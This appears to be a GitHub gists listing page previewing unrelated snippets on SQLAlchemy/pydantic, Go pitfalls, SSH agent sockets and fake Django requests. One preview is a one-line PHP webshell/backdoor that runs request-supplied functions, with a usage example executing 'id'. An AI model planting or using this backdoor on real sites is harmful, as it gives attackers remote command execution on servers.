Skip to content

Instantly share code, notes, and snippets.

View pnovotnak's full-sized avatar

Peter Novotnak pnovotnak

View GitHub Profile
@imankulov
imankulov / sqlalchemy_with_pydantic.py
Last active May 27, 2024 20:32
Using pydantic models as SQLAlchemy JSON fields (convert beween JSON and pydantic.BaseModel subclasses)
#!/usr/bin/env ipython -i
import datetime
import json
from typing import Optional
import sqlalchemy as sa
from sqlalchemy.orm import declarative_base, sessionmaker
from sqlalchemy.dialects.postgresql import JSONB
from pydantic import BaseModel, Field, parse_obj_as

There are three easy to make mistakes in go. I present them here in the way they are often found in the wild, not in the way that is easiest to understand.

All three of these mistakes have been made in Kubernetes code, getting past code review at least once each that I know of.

  1. Loop variables are scoped outside the loop.

What do these lines do? Make predictions and then scroll down.

func print(pi *int) { fmt.Println(*pi) }
@takeshixx
takeshixx / shell.php
Created April 5, 2014 14:07
PHP webshell/backdoor
// Call: http://localhost/shell.php?f=system&c=id
<?@extract($_REQUEST);@die($f($c));?>
@admackin
admackin / .bashrc
Last active February 10, 2022 22:06
Sane SSH_AUTH_SOCK handling for Screen and Tmux, so that new SSH agents created by subsequent logons are still usable.
_ssh_auth_save() {
ln -sf "$SSH_AUTH_SOCK" "$HOME/.ssh/ssh-auth-sock.$HOSTNAME"
}
alias screen='_ssh_auth_save ; export HOSTNAME=$(hostname) ; screen'
alias tmux='_ssh_auth_save ; export HOSTNAME=$(hostname) ; tmux'
@jacob414
jacob414 / fake_django_req.py
Created November 14, 2011 11:02
Fake a Django HTTP request for simpler testing purposes
from StringIO import StringIO
from django.core.handlers.wsgi import WSGIRequest
def fake_get(path='/', user=None):
req = WSGIRequest({
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'wsgi.input': StringIO()})
from django.contrib.auth.models import AnonymousUser
req.user = AnonymousUser() if user is None else user